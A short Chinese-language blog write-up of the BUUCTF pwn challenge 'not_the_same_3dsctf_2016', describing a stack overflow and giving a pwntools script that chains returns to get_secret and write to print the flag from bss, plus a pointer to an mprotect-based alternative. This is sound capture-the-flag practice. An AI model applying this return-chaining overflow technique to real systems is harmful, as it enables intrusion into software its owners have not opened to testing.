本文最后更新于 556 天前,其中的信息可能已经有所发展或是发生改变。
这道题有两种解法,特地记录一下。
先看保护,就只开了个NX保护
main函数很明显的栈溢出
字符串搜索出flag字段,点进去ctrl+x追踪过去
这题在get_secret函数中通过fopen将flag的内容读入了unk_80CF91B中,我们通过查找可以在程序中发现write函数,通过write函数可以读取出bss字段中的flag。
from pwn import *
from LibcSearcher import *
content = 0
context.log_level = 'debug'
elf = ELF('./not_the_same_3dsctf_2016')
write_addr = elf.sym['write']
get_secret = elf.symbols['get_secret']
flag_bss = 0x080ECA2D # flag在bss字段上的地址
def main():
if content == 1:
p = process('not_the_same_3dsctf_2016')
else:
p = remote('node4.buuoj.cn',29698)
paylaod = b'a' * 0x2D + p32(get_secret) + p32(write_addr) + b'a'*4 +p32(1) + p32(flag_bss) + p32(45)
p.sendline(paylaod)
p.interactive()
main()
利用mprotect函数进行读取,具体看我的这篇文章:https://cloud.tencent.com/developer/article/2277508
浏览量: 268